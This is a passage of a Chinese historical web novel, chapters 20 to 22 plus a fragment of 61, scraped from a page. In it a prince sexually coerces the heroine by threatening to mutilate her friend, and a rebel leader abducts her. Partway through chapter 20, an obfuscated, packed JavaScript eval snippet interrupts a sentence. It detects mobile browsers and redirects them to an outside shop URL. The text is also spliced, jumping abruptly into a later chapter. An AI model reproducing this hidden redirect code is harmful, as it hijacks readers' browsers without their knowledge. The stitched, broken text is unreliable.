将信递到她跟前,他理所应当地说道:“你写封信予她。” 孟清芷咬紧了牙,花费了好大的心神才将怒气压下去,她斜睨了他一眼,冷声道:“当真?” “表姑母看重你,自然由你亲笔写信,这有什么真不真的。”沈白叙笑道。 “若我写,只有两个字:不愿。”她定定看着前方,不知是胭脂色还是什么,眼尾有些泛红。 她又回过头来,看着他沉下去的神色发笑,问道:“王爷此前还说我身份存疑,如今又想着纳妾了?” “若我真是公孙辞手下人,王爷岂不是成了京城中的笑柄?” 沈白叙脸上笑意隐去,露出几分不耐:“哪来那么些话。” 右手抚上她的肩,冰冷的情绪又燥了几分,他低声申斥道:“伶牙俐齿。” 孟清芷眼下真没什么情绪应付他,只冷着脸将他的手臂拂开,来回几遭,沈白叙早没了耐心,他劈脸掐住她的两颊,声音中带了压制的怒意:“你又在任性什么?” 孟清芷忍着恶心,勉强回答道:“我来了月事,恐不能陪王爷了,还请王爷去别处吧。” 原来是这样,沈白叙心又软了几分:“无妨。” 将她揽在怀中,在她背后抚弄那盈盈细腰,又松开手,抓住两节手臂,轻言含笑,在她耳畔说了句什么。 她瞬间红着脸,皱着眉想要挣脱开来,沈白叙哪有让她逃掉的道理,当即又将她按到怀里去。 许是她挣扎的太过激烈,也或许是指甲刮到了沈白叙,他有些不耐起来,冷眼看着她挣开怀抱到一旁去,忽然开口问道:“你想本王去何处?” 他下一句话气得她手脚酸软:“林姑娘处可使得?” 他“嚯”得站起身来,孟清芷赶忙抓住他的衣角,他还兀自向前走着,绸缎衣衫光滑,孟清芷几乎抓不住,慌乱间,整个人被拖拽到跪坐在地上。 他站定了,回头看过来,脸上的酒色已经退去,声音舒缓,但如同鬼语:“既然已经跪下了,那便顺势磕头认个错吧。” 盯着她青一阵红一阵的脸色看了片刻,他继续说道:“往后还是要立个规矩。若你逃了,林姑娘的命便保不住了。若你再有不从,本王便叫人剁她一根手指。” “本王念在你初犯,这次认错后就算了。”他极其大度地说。 他有些满意地看着她神色木然地伏下头认错,再抬起头时,簪着的梅花从发间掉了下来,仔细一瞧,原来是已经有些干枯了,像她失了颜色的眸子,萎靡不堪。 他拉着她的手来替自己更衣,她不再有半分反抗的动作,像提线木偶一般任他摆布。 冬日夜里寒风呼啸,有细碎的雪粒子打在 床上,发出沙沙的响声。外头梅花树上不知还存有几支红梅,许是被狂风吹落了一地。越是这样的天气,屋内的声音却听得愈发清楚。 炉火发出轻微的“噼啪”声,随着一阵衣衫窸窣声,沈白叙暗哑的声音传来:“再快些。” 不知过了多久,孟清芷耳中传来阵阵嗡鸣,她撑着身子站起来,用来擦手的绣帕黏腻一片,她提了一角,到外头去取炉子上的热水壶。 沈白叙早已睡意十足,声音中说不尽的缠绵:“叫梅儿来就是了。” 孟清芷像是没听见一般,自顾自地出去,寻了盆洗干净了手,又悄无生息地回来,在榻上坐了一夜。 第二天梅儿进来伺候,见她歪在榻上,似乎是才睡着,眼下的乌青藏不住,整个人也憔悴了许多。 “表小姐。”梅儿低声唤她:“该起来了。” 依旧是梳妆,梅儿犹豫再三,还是开口道:“表小姐,若是避不开,还是要想开些。何苦把自己逼得苦兮兮的。” 孟清芷知道她的意思,可叫她对着那样一个人卑躬屈膝、谄媚示好,她根本做不到。 她忽然后悔,自己当初为什么没有一刀刺死他。 梅儿将她一簇发丝盘起来,低声道:“表小姐,可否帮奴婢按住这节头发?” 孟清芷高抬手臂,这才发觉两只手臂酸软到发抖,她垂下眸子,轻声说道:“不必费心打理了,我想睡会儿。” 梅儿只好应了一声,又去铺床。 或许只有在梦里才是自由的。孟清芷依稀梦到了许多大学中的人,那时就算是晨起去早读,睡眼惺忪,抱怨着昨夜没睡好时,整个人也是脚步轻快的。 她骤然睁开了眼。 她不能再这样意志消沉下去,她要尽快逃出王府,逃离沈白叙。 今日午膳晚膳,她便尽力多用了一些,觉得周身恢复了些力气,甚至有了精神去外头走了一圈。 晚间,沈白叙归来时,便发现她虽然还是面色不虞,可气色稍微好了一些。 甚至看到他还会主动站起身来。 捞过她的腰,搂在怀中亲了一口脸颊,见她没有半点不适的意思,他心中暗自得意,欣喜非常。 因低声问道:“月事好了没?” 她低下头去,低声说道:“还没。” 像是不愿见他露出失望神色,她声音愈发低下去,细如蚊蝇:“还有两日就好了。” 他“嗯”了一声,将她的头按到自己胸前,深嗅了一口她发间香气,又问道:“今日怎得没戴那梅花了?” “昨夜风大,梅花被吹落了一地。”她声音闷闷的,听得不是很清楚:“我想着枝头梅花珍贵,几句没叫梅儿再摘了。” 沈白叙却是笑了一声:“有花堪折直须折,莫待无花空折枝。” 他这话仿佛意有所指,孟清芷暗自皱眉,随后又用轻柔的语气道:“那我明日便戴上。” 待沈白叙洗完,孟清芷盈盈独坐榻上,看着他的眼睛,认真问询道:“能否求了王爷恩典,准我明日看看林姑娘?” 20. 第 20 章 魅惑之术初见成效,天亮后的沈白叙心情极好,即刻叫人接了林霄霄入府。 沈白叙有事出去了,陪同的人是长闻。 孟清芷心头雀跃,奈何长闻寸步不离地跟着,她几次三番皱了眉头,可长闻仿佛看不见一样。 “霄霄。”好容易盼得林霄霄进来,孟清芷几乎是立刻拉住了她的手。 林霄霄不答,只是冲她一笑,脸上的酒窝浮现,十分可爱。 孟清芷这才想起沈白叙的话——林霄霄仿佛是哑了。 “你怎么回事,为何忽然哑了?”孟清芷寻来纸笔,叫她在上面勾画。 长闻亦站过来,在她们二人身后不动声色地看,见林霄霄攥着毛笔,在纸上潦草写下四个大字:“突发恶疾。” 孟清芷无奈:“那你这些时日都在什么地方?” 林霄霄大笔一挥:“山中,姓徐的草药商处。” 随后她又写道:“沈白叙是你什么人?” 孟清芷用手挡了挡纸上的字,料想是瞒不过长闻的,又尴尬地放开,口中说道:“他要纳我为妾。” “你答应了?” “还没有,不过,他是王爷。” 林霄霄用探究且同情的目光看了她一眼,又写:“他拿我威胁你?” 孟清芷忙摇头,林霄霄无奈叹了一口气,写道:“你别受他要挟,他要杀就杀,反正活着也挺没意思。” 孟清芷下意识地去捂她的嘴,随即发现自己找错了地方,又按住她的手,不叫她乱写。 林霄霄挣扎间,笔墨纷飞,甩了长闻一脸。 她歉意地笑笑,撇开目瞪口呆的孟清芷,继续在纸上写道:“对不起,不是故意的。” 待长闻面露难色地把嘴里被甩进去的墨汁吐出来,林霄霄又笑着提笔:“不如,你先去洗洗?” 孟清芷眼瞧着长闻瞪了林霄霄一眼,无动于衷。 林霄霄又写:“墨汁是有毒的。” 孟清芷看不过去,开口阻止道:“好了霄霄。” 哪有这样明目张胆地想要支开别人的!更何况长闻是跟着沈白叙很久的人,他才不会那样傻。 林霄霄又旁若无人地甩了好几下毛笔,确认墨汁不再飞溅,才笑着写道:“不好意思,我自小就不会用笔。” 孟清芷捏了捏她的手,低声骂道:“你果然比我还虎!” 一个没看住,林霄霄又在纸上写道:“他待你怎样?” 孟清芷点了点头,还未及回答,便见她继续写道:“功夫如何?” 功夫?孟清芷皱了皱眉,这么些时日,她也未了解他到很深的地步,并不知道武功如何,只好答道:“没见过他练武。” “要不,我们还是换个话题吧。”眼见着长闻的脸色愈发难看,孟清芷尴尬地笑道。 林霄霄却摇了摇头,写道:“床上的功夫……” 孟清芷直接劈手将她手里的纸夺了过来,笔在纸上划出一道长长的痕迹。 再看长闻,他已经尴尬到无所适从了,左挠挠耳朵,右抓抓鼻子,脚下乱动,不得安宁。 林霄霄皱着眉将纸张夺回来,伸手拍了一下孟清芷的后背,示意她老实点,随即又笑着写道:“这位小哥,你叫什么?你看上去很清秀呀,你功夫如何?” 长闻憋红了脸,终于忍不住瓮声瓮气地说道:“你们谈话就谈话,何必扯到我身上。” 他终究是站立不安,踌躇片刻,抬脚走了出去,在门口站定了。 林霄霄得意地扬起眉毛,对着孟清芷抛了个媚眼。 “好好好,你最厉害。”孟清芷知道她向来鬼精鬼灵的,点子最多,没想到穿到这个时代还是这样。 林霄霄在纸上写着:“有机会替我找到徐重山,我出来卖草药时被抓的,他一定急坏了。” “他人很好,我生病时衣不解带地照顾我,有点好吃的也都给了我。” “他在齐城有一处草药铺,名叫徐记草药铺(记不住可以记成徐福记),切记。” 孟清芷点点头,又轻声问:“你这个嗓子究竟是怎么回事,还有治愈的可能性吗?” 林霄霄写道:“不知道,以后再说吧。” 分外洒脱,置身事外,仿佛这副躯壳与她完全无关。 两人又对视了一眼,都十分默契地没有提到穿越一事。 林霄霄又写,这次用了十足的力气:“长风破浪会有时……”她顿住笔,继续写道:“下一句是什么来着?” 孟清芷被她逗笑了,夺过笔,在后面续上了:“直挂云帆济沧海。” 又轻声嗔怪道:“你高中怎么学的。” 林霄霄不服,在纸上飞速写道:“我语文不好,你又不是不知道。”停顿了几秒,又把“语”字涂成黑墨,在旁边写了个“诗”字。 下一瞬,长闻走了进来,面色阴郁:“王爷说只有一刻钟的时间,如今已经到了。”说完,他随手拿走了她们聊天用的字纸。 孟清芷抬手去拦,又被林霄霄制止了,示意她无需担心。 沈白叙捉到林霄霄时,势必已经将她的身世查了个一干二净,徐重山一事他想必早就知晓,不用刻意隐瞒。 又抓住孟清芷的手牢牢握了握,林霄霄站起身来,走之前随手将桌上摆的点心食盒顺走了。 是夜,沈白叙应酬已毕,带着些酒意下了轿,身后郑玄策立即跟了上来,躬身笑道:“属下恭贺王爷,旗开得胜。” 跟着沈白叙迈进门中,郑玄策方才继续说道:“那大理寺卿江悦,算是被王爷收入麾下了。” “大理寺卿而已,于我并无什么助益。”沈白叙虽面有喜色,但尚能把持得住:“他在新帝面前碰了一鼻子灰,南廉王也瞧不上他,他又是投机倒把之徒,这才寻到我头上来。” “江悦官职不高,这倒不假。”郑玄策笑道:“但他的岳丈可是当今宰相宋佳勋。” “朝廷官员冗杂又盘根错节,只要能打开一个突破口,事情便有了转机。”郑玄策分析道。 沈白叙浅笑:“宋大人生了六个女儿,其中一个还是当今皇帝的宋贵妃呢,他要做六个人的岳丈,那大理寺卿江悦只是最不起眼的那个。” 郑玄策哈哈一笑:“女儿多自然也有坏处,江大人也有两个女儿,大女儿已到适婚年纪,方才酒桌上,属下见他颇有将大女儿嫁与王爷的意图。” 沈白叙神色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17680227|206974||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 不变:“此事再议。” 郑玄策见他脚步加快,向着卧房而去,心中不免有些担忧,提醒道:“王爷,明日皇帝召见……” 沈白叙头也不回,只说道:“知道。”脚下生风般的去了。 政事初见成效,他心中愉悦,此时只想问问孟清芷,林霄霄问她的问题她是如何答的。 孟清芷在睡梦中被他唤醒,正不耐间,听到他言语中询问林霄霄与她的私密谈话,心中更是不快,但又不愿得罪了他,只看向别处,装作不好意思的样子:“王爷想叫我如何回答?” “就说王爷生猛异常、虎虎生威?” 说完这句,就连她自己也觉得离谱了些,脸倒真有些红起来了。 沈白叙不信。 他扳过她的脸来,手臂伸到后头去轻抚她的发,又搂着她的腰叫她站起身来。 后头挨了结结实实的一巴掌,孟清芷挣扎起来,口中抱怨道:“王爷上哪儿吃醉了酒,跑到这里来寻乐子。” 沈白叙凑近,在她耳边轻声说道:“这一巴掌便是惩罚你口不对心。” 又是一巴掌,听到她轻呼一声,他将她搂得紧紧的,说道:“这一巴掌是因为你月事两日前便没了,却还藏着不对我说。” 孟清芷知道他今日心情不错,不愿在这个节骨眼上触怒他,可她到底有些受不住这羞辱,牙齿紧紧地咬住下唇,眼角也红了几分。 “好了。”沈白叙觉出她情绪不畅,又将她横着抱在怀中,像哄孩童一样轻声说道:“不许哭。” 他越是这样,孟清芷越是觉得自己像是一只被豢养的小猫小狗,或者说是小鸟也好,小兔也罢,横竖不像是人。 最终还是没忍住,噼里啪啦掉了几滴泪下来,又露出不愿叫他瞧见的样子,偏过头去。 沈白叙含着醉意,一只手在她背后有一搭没一搭地轻拍着,一只手替她擦去眼泪,他俯下来,轻声细语:“哪里受了委屈?” 没等她回答,他便笑着在自己有脸轻轻拍了一巴掌:“前几日是我不对,这厢向你赔个不是。你还有什么委屈,尽管说出来。” 他还从未见过她这样娇俏可人的样子,一时间心软至极。 孟清芷好不容易将情绪敛了,面上冷淡如初,她挣扎着站起身,声音还带了些哽咽。 “不说了。”她盯着自己紫罗兰色的裙摆摇曳:“怕王爷听了不高兴。” “你说便是。”沈白叙难得多了几分耐心。 “我……想求王爷恩典,暂缓纳妾。”她眼圈又有些红了,抬起脸来看着他阴晴不定的脸,解释道:“一是因为我出身低微,恐阻了王爷前程。二是因为富贵人家儿一般都是先娶正妻。三是……” 她顿了顿,小心翼翼地去看他的脸色,随即才说道:“三是我自个儿的小心思,我性子不好,也想先观察一下正头王妃性子如何,若是个有雅量能容人的,我再……” 沈白叙方才执了茶杯饮茶,此时听到她说到这里,将茶杯放在桌上,“啪”的一声,听上去格外触目惊心。 孟清芷也适时住了口,不再说话。 沈白叙站起身来,高大的身影极具压迫性,孟清芷不禁向后退了几步。 21. 第 21 章 本以为沈白叙势必会发火,她也做好了承受怒火的准备,谁知他只是说了一句:“此事容后再议。” 说完,便利落地脱了衣裳,只露出中衣,半眯着眼睛靠在榻上,哑着声音道:“叫梅儿预备热水来。” 她答应了一声,才向外走了几步,又听他吩咐道:“你替我洗。” 今年春节时日稍晚,才过了几日,冬日严寒便一哄而散。内室里沈白叙才洗好了澡,淅淅沥沥的水声才止,薄薄的水汽氤氲难除,夹杂着皂荚和茉莉熏香的香气,使人闻之欲醉。 沈白叙早已在榻上睡去。孟清芷自己擦净了身子,又穿上中衣,待梅儿遣人来将澡桶收走,她打了个哈欠,面上显出嫌恶神色,迟迟不肯到榻上去。 捱了半宿,直到沈白叙翻身向里侧去,空出了大半张榻,她才勉强上去,小憩一会儿。 这几日沈白叙白日总不在府上,晚间也回来得晚。孟清芷便以白日里在府上无聊为由,哄着沈白叙同意了她出去玩一日的请求。 正巧,今日正是元宵,重要程度不亚于春节,按照节日惯例,许多女子上街采买元宵和菜品,预备阖家团聚。大户人家派出采办或小厮丫鬟,寻常人家便是主母亲自出去,京城中最是热闹时候。 沈白叙自然不放心她一个人出去,便派了丫鬟梅儿、安儿和柳儿,几个小厮抬轿,又派了长闻并几个侍卫相随,这排场几乎要比得上大户人家的主母了。 孟清芷本也无心在今日逃跑,她一则烦闷,二则为了提前熟悉京城环境,本身兴致也不高。 直到马车出了东大门,听到街上热闹的声响,这才心思活泛起来。 掀开帘子,见街头人烟阜盛、张灯结彩。除去商铺,还有四处推车卖吃食和小玩意的小贩,再往热闹深处去,商队层出不穷,舞狮队隐在烟花中,不时有一群人哄然叫道:“好!”随即又是密集的掌声,不知是看烟花的观众,还是看舞狮或听书听戏的。 行到一半,人群瘀阻,轿子虽小,也委实不得过去,抬轿的小厮直着脖子喊了数声:“让一让,让一让!”然而近些的人倒想让,奈何远处的人听不见,还在出神地望着四处的热闹。 孟清芷坐在轿中,只是不吭声,待到小厮们擦着汗上前来请她下轿,她才默然向轿尾瞥了一眼。 那是长闻的方位。 小厮们会意,又去求了长闻,她这才如愿以偿地下了轿。 长闻极其有经验,带着人迅速形成包围圈,她虽行动不受限,可前后左右都是死死盯着的人。 她只做视而不见,在各个摊位流连忘返。 各色各样的首饰、酸甜咸辣的小吃、各色烟花及小孩子玩的木头玩具和纸风车、各色泥人、散装的花茶和果子酒、百味熏香以及笔墨纸砚文房四宝,再到花样百出的衣衫布匹、佩剑匕首。吆喝的店家喊哑了嗓子,通红的脸上却是喜意盈盈。 孟清芷挑着感兴趣的花样儿买了几件,分别是糖葫芦、茉莉花茶和自己的泥人小像。茉莉花茶交给梅儿拿着,糖葫芦捏在柳儿手里,泥人在孟清芷自己手里。 本来张口要吃,只是人太多,柳儿才抬起手来,肘部给人挤了一下,险些将糖葫芦捅进孟清芷喉咙里。 安儿见实在危险,四下里看了看,瞥见旁边有条小巷,似乎没什么人,便叫着孟清芷过去:“表小姐,先去那里吃了再逛吧。” 孟清芷想想也是,便走到巷子里头,梅儿拿着帕子上来替她擦了擦鬓角的汗珠儿,长闻带着侍卫们赶上来,守住了巷口。 眼前是热闹的长街,孟清芷啃下一颗酸甜的山楂,出神地看着,随即却见到旁边的长闻忽然变了脸色。 “怎么了,你想拉肚子?”她心情甚好,很是促狭地问。 长闻只是听到了一些不应当属于这里的声音。 是刀剑铮鸣和飞檐走壁的声音。 他转身拔剑,飞身上前,利落地斩杀了一个暗处的人影,鲜血飞溅,梅儿一干人唬得不敢作声,柳儿手中的糖葫芦也滚落在地。 周围忽然乱起来,小巷两旁的房屋顶上似乎有数十人蹲守,一时间刀光剑影,危机四伏。 长闻及手下人匆忙将射来的弓箭砍成两节,长闻两步飞上房顶,将那上头的人斩杀大半。 高处不胜寒,他衣衫被划破,一阵冷风袭来,他忽然打了个寒颤,回头望去时,见巷中卧倒了一片人,早已没了孟清芷的身影。 …… 辗转几个巷口,也不知过了多少关隘,马车颠簸间,孟清芷终于恢复了神志,只是眼前蒙着一块黑布,影影绰绰间看不清任何事物。 直到黑布被掀开,她四下看了一眼,这才分辨出房屋的轮廓,布置仍是京城中的样式,只是屋内不怎点灯,没有阳光时,便显得黑黢黢的,一应家具也显得简陋起来。 沉默中,一盏油灯被人捏在手上,灯光昏暗,但都照在了孟清芷脸上。油灯从左照到右,又从上照到下,沉默许久的男人终于沉声说道:“居然真是她。” 是个年轻男子的声音。 孟清芷浑身无力,她睁开眼看去,见油灯晃动下,眼前男子容长脸,容貌俊秀,眉眼细长,只是可能长年在外头,肤色略暗沉了些。 “拿解药来。”他吩咐后片刻,便有人递了一个小瓷瓶来,他拔出塞子塞进她口中,随即又将她硬生生从榻上拽了起来坐着。 她浑身酸软,这药下去当真片刻便恢复了力气,环顾四周,没有一个熟识的人,她十分冷静,许久不吭声。 即便没有抬头,她仍能察觉到一道饶有兴致的目光盯在自己身上。良久,眼前男人终于开口:“许久未见,我是公孙辞。” 孟清芷讶异抬头,又仔细打量了他片刻。 “怎么?”公孙辞嗤笑一声:“长相与你想的不一样?” 是不一样,她本还以为公孙辞是年逾四十、老奸巨猾的匪徒,谁知竟这样年轻。 “你没见过我,我却见过你。”公孙辞和煦地笑着,眼睛眯起来:“如今,你还是我明媒正娶的妻呢。” 孟清芷听到这话却阒然变色,她不禁想起沈白叙的行事作风,下意识地便以为公孙辞也一样。 但 转念一想,公孙辞所图不一定是女色,更有可能是沈白叙那厢的情报。 因此,她终于开口问道:“你抓我来,所为何事?” 公孙辞睁大了眼睛,显出一副无辜神色来:“能有何事,自然是想要夫妻团聚了。” 孟清芷禁不住冷笑一声:“公孙大人,还是莫要卖关子了吧。” “我不知你当初为何找上我,但我虚担了这个名头,几次三番险些为此丧命。若你顾念夫妻情分,早该出手相救了。等到今日才出手,无非是发现我竟然入了北辰王府,仍有利用的价值罢了。” 公孙辞听得眉开眼笑,发出爽朗的笑声:“不愧是我公孙辞看中的人,果然机敏聪慧。” 又凑上前问道:“既如此,你可愿意所闻所知悉数告知?” 孟清芷看着他,缓缓摇了摇头,见他脸色不变,才继续说道:“不是我不愿意,而是我入王府时间短,况且沈白叙什么都不告诉我,所以我实在是什么都不知道。” 见公孙辞脸上闪过一丝失望,她知道若是这样说他恐怕不会善罢甘休,便又补充道:“我只知道他经常应酬,大抵是同京中高官有往来,依此看来,他向上的心思极重,甚至……可能有入主皇宫的意图。” 公孙辞不为所动,孟清芷从他脸上看到了“说点我不知道的”表情,她心一横,又说道:“而且,他应当是个好色之徒。” 公孙辞明显表现出了感兴趣的样子。 他在江湖上这么些年,从不知道北辰王是个好女色的。 “你是说,他对你?”公孙辞略一思索,问道。 孟清芷没有回答,只是叹了口气,低头半晌,才要抬头说话时,却见公孙辞离她很近,盯着她的双眸,他轻轻说道:“你姿容绝世,这也是正常的。” “尤其是这双眼睛,水灵灵的,很是吸引人。”他笑道:“我当初不也是在集市上见了你一面,就——” “打住。”孟清芷没料到他这样直白,忙摆手制止他继续说下去。 “你今年芳龄几何?”他还在问。 孟清芷忽然想到一件可怕的事,她一把抓住公孙辞的袖口,锐声说道:“能不能放我回去?沈白叙是个很可怕的人,若他以为是我逃了,便会杀了我朋友的!” 公孙辞却充耳不闻,只说道:“你还没告诉我你的年纪呢。” 孟清芷不解,只好急匆匆地答道:“今年才到二十岁,快放了我!” “没想到比我大几个月。”公孙辞按住她的肩,轻轻晃了晃,随即又在她耳边笑道:“那我以后便叫你一声姐姐可好?” “公孙辞!”孟清芷有些急了,她一把推开他,厉声说道:“你不要想着通过折辱我来报复沈白叙,我现在无名无分,连个通房丫鬟都不是,于他的名声没有半点损害。” “与其在这种事上下手,倒不如好好招兵买马,彻底赢了他。” 公孙辞被推开几丈远,他有些意外地怔了怔,随即又眯着眼笑起来。 “姐姐急什么?姐姐未免把人想得太坏了,我可没有半点龌龊心思。” 22. 第 22 章 春雨连绵的一日,北辰王府上平静如初,只有内里泛起轩然大波,所幸外头无人知晓。 沈白叙命府上侍卫小厮齐出动,直寻了一天一夜,也没有查到孟清芷的下落。 “好好一个人,难道飞了不成?”郑玄策皱眉,随即又问那几个跟去的丫鬟:“你们当真什么都没看到?” 梅儿、柳儿和安儿面色惨白,颤抖着摇头:“他们太快了,奴婢什么都没瞧见。” 郑玄策又转头看向长闻,后者也是一阵轻叹。 长闻耳力极佳,怎奈何视力并不好。 郑玄策看向沉默不语的沈白叙,轻声说道:“她们中的迷药乃是西域产的,黑市上都可买到,顺着这条线索查去,虽劳心费神,但总会有收获。” 沈白叙忽然望向郑玄策,面色阴冷:“林霄霄呢?” 郑玄策带着沈白叙冲进关押林霄霄的小院时,她正在院中捡着被春雨打落的梧桐花朵,见到沈白叙,她面色不变,弯下腰行了个礼。 “你可知道孟清芷去了何处?”沈白叙冷着脸问。 林霄霄将屋门打开,示意沈白叙进来。她则取了纸笔来,很认真地写着。 沈白叙一瞧,上面大大的三个字:“不知道。” 字迹潦草。 沈白叙冷笑:“你可知,若她逃了,本王便要你的命?” 林霄霄用毛笔在不知道上面画了个圈,随即又写道:“稍安勿躁。” “躁”字不会写,她用的“糟”。 沈白叙皱眉,才要发作,又见她一笔一划地写道:“她没有逃。” “那她去了何处?”沈白叙压下脾气,耐着性子问。 “若她想逃,一定会提前跟我讲的。”林霄霄写完这句话,满脸认真地抬头看了一眼沈白叙,又写道:“她没和我讲,所以一定不是逃跑。” “何以见得,你便这样自信?”沈白叙不屑。 林霄霄用手在胸脯上拍了两下,表现出极有把握的样子,又写道:“我与她是过命的交情,她不会对我不管不顾。” 沈白叙才要问,又见她写道:“王爷细想,平时有没有得罪过什么人?” 沈白叙失了耐心。 若说得罪的人,那显然太多了,他不会承认这件事源头始于自己。 “来人”这两个字几乎已经到了嘴角,但林霄霄又写了一句:“三天。” 仿佛是怕他看不懂,她又伸出三根手指来晃了晃:“三天之内肯定有消息,如果没有,要杀要剐随你。” 看着沈白叙犹豫的神情,林霄霄飞速写道:“拜托,替她想想好不好,如果今天你把我杀了,她忽然明天就回来了,想必一辈子也不会原谅你的。” 沈白叙将口中的话咽了回去,他冷哼一声:“好,那便再等三日。” …… 孟清芷心中烦躁,几乎到了食不甘味、夜不能眠的地步。 偏偏公孙辞一脸乖巧,一口一个“姐姐”的叫着,丝毫不提抓她来有何目的。 第二日,她实在是烦了,疾言厉色地问他到底怎样才能放她走。 “姐姐。”公孙辞笑了笑:“不走了好不好。” 孟清芷起了一身鸡皮疙瘩,她嫌弃地看过去:“你能不要这样说话吗?” 分明是叛军首领,心眼子比谁都多,却总是装出无辜单纯的样子,看了更是叫人难受。 “要不然,我派人去把姐姐的朋友救出来,可好?”公孙辞仍是笑意盈盈的,丝毫没有动怒的意思。 “真的?”孟清芷看了他半晌,才摇了摇头:“连我都不知道她关在何处,怎么救?” 第三日,公孙辞不再缠着她,许久未见到他,孟清芷更是心中发慌。 她禁不住拍打着屋门,求外面站岗的人去请公孙辞。 直至晌午,公孙辞才姗姗来迟,一进门就问:“听说姐姐到处寻我,是想我了?” 孟清芷无意与他再周旋下去,直截了当地问:“你到底要我做什么?” 连绵几日的春雨歇了,外头艳阳高照,几竖斜着的光晕顺着窗缝照进来,她忽然有些看不清公孙辞的表情。 安静了一瞬,他忽然发出一声笑。 “姐姐想多了,没有什么需要姐姐做的事。”他说。 “不要再骗我了!”孟清芷忍无可忍,爆发出一声怒喝。 无论什么事,都比不上林霄霄的性命重要。 公孙辞沉默了一瞬,棕褐色的袖口甩了甩,头上的发髻似乎也跟着颤了一颤,连带着发带也随风飘荡起来。 他今日打扮得倒像个年轻书生,不知道出去见了谁。 见她涨红着脸,额上青筋竖起,腮上气鼓鼓的,双手攥着拳,没想到她生起气来也这样可爱,怪不得那沈白叙神魂颠倒…… 他收回了神思。 “既然如此,姐姐能不能帮我个忙?” 晌午一过,郑玄策脚步飞快地进了东院,呈上一封书信:“王爷请看,这是在王府外头墙边寻到的。” 黄昏时分,沈白叙亲自率人马到了信中所说地点,放上五百两黄金并一堆金银首饰后,回府耐心等了片刻。 及至黑夜,栾鹰才慌忙来报——人在京城郊外的野地里寻着了。 眼前黑布袋猛地被掀开,忍着刺眼的光,见屋中陈设恢复如前,孟清芷才松了一口气,又对上沈白叙阴鸷狂怒的双眼,禁不住心中一跳。 其余人都识相地退了出去,独留他们二人在屋中,沈白叙丝毫没有客气,劈手抓住她的衣领,厉声询问她去了何处。 及至听到她说自己被公孙辞掳了去,沈白叙面色青白:“他有没有把你怎么样?” 孟清芷急忙摇头,却发现沈白叙脸色更差了。 “公孙辞为人狡诈奸猾,我与他周旋数月都没见过他真实面目,怎得一见你就真面目相对?” 孟清芷道:“他自己说自己是公孙辞,我也无从分辨真伪。” 看着沈白叙的脸色,她小心翼翼地问道:“林姑娘……没事吧?” 沈白叙不答,面上阴晴不定,面部紧绷,像是紧紧咬着牙,在思考她的话。 她本就是公孙辞新妇,有这一重身份在,做任何事都更容易引起怀疑。那公孙辞当初令死士突袭军营,不知是否为了救她。如今他竟然又跟随她到了京城? 只是, 为何又将她放了回来? 一种可能是,公孙辞需要她继续留在府上探听机密;另一种可能是,公孙辞知道自己的妻子被旁人玷污,嫌弃了。 左想右想,都是第一种可能性更大。 积攒的怒火蓬勃旺盛,正巧听见孟清芷又轻声问了一句林霄霄的安危,他莫名地有些不是滋味。 按照常理来说,她不应当先泪眼朦胧、无限娇柔地诉说她的凄惨,然后再反复陈述自己的清白吗? 他不求她能在这时候想着她,但是,他不能接受她心里没有一点他。 因此,实话到了嘴边,又被他替换成了假话。 孟清芷见他沉默不语,心中凉了大半,她难以置信地扑上前去问:“你把她……杀了?” 沈白叙张口:“没有,只不过剁了两根手指。” 沈白叙的沉默给这个谎言蒙上了无比真实的面纱,孟清芷双手颤抖起来,她短促地呼吸着,像是被人掐住了脖颈,眼前一阵模糊,双腿一软,跌坐在地上。 沈白叙没料到她反应这样大,才伸手要去扶时,一记用尽全力的耳光照着他的右脸打过来。 他躲得及时,但还是不甚被她的指甲剐蹭了一道,一阵火辣辣的痛传来,沈白叙咬着牙抓住那只犯事的手臂,硬是将她从地上拽了起来。 “你如今胆子大了,竟敢动辄对我出手。”沈白叙愤恨难平,一字一顿地说道:“我还未及动她,但若是你再胡闹,我不保证真对她做些什么。” 孟清芷尚在气头上,头脑发昏,还未及琢磨出他这话的真假,沈白叙便令人将她关到厢房中去了。 只关了一个时辰,便有侍卫战战兢兢地来报:“王爷,她不肯吃东西,砸了饭碗,口口声声说要见什么林姑娘。” 沈白叙正闭着眼睛想事情,忽然被打断,心中更加烦闷:“叫她安生些,明日自会带她去见。” 又过了半个时辰,侍卫又来了:“王爷,她还在闹呢。” 沈白叙站起身来,一脚把椅子踢翻,攥紧了拳头,直冲出去,吓得那侍卫跪地谢罪。 沈白叙没有理他,径直冲到厢房门前,踢开了门。在巨大的声响中与端着花瓶要砸的孟清芷四目相对。 梅儿和柳儿一人拦腰抱住孟清芷,一人高举了手去夺那花瓶。 “你们先出去。”沈白叙简短说完,看着孟清芷抱着花瓶站在原地,又轻蔑地笑了一声:“怎么不继续砸了?” 他飞快地上前去掐住她的脖子,连带着她整个人都仰面摔到榻上去,挣扎间,花瓶还是砰的一声碎在了地上。 他将她压在身下,低声说道:“既然精力这样旺盛,今夜倒也不必睡了。” 孟清芷今晚挣扎的格外猛烈,沈白叙不得不将她双手用衣带绑了,束在床头。起先她还能咬牙忍着,及至第三回,她终于忍不住,低声哀求了几句,沈白叙一直不予理会,她有些崩溃了,禁不住边哭边骂起来。 沈白叙听着她骂他无耻之徒、禽兽不如,居然还觉得有些新鲜。 及至她骂他不得好死,他才微微变了脸色,将她翻转过来,脸牢牢压在枕上,所有愤懑的言语都化作了含糊不清的呜咽。 第61章第61章 61、第61章南军腹背受 李郎中是沈白叙派来的。 公孙辞特意将孟清芷送到装满鼠疫之人的窝棚中去,叫她染上鼠疫,趁机以她的性命要挟,向沈白叙换得医治鼠疫的方子。他承认,这个方法的确卑劣不堪,但他对沈白叙送方子一事有八成的把握。 即便他不肯送,按照鼠疫的傅播情形来看,也只有近乎一半死亡的可能,而且多半是老幼。所以他即便心中不愿,还是冒了这个险。大不了日后加倍弥補孟清芷便是了。 沈白叙自然不会对他的话全盘相信,因此以重金相許,派了一个郎中来,叫他亲自替孟清芷把脉。 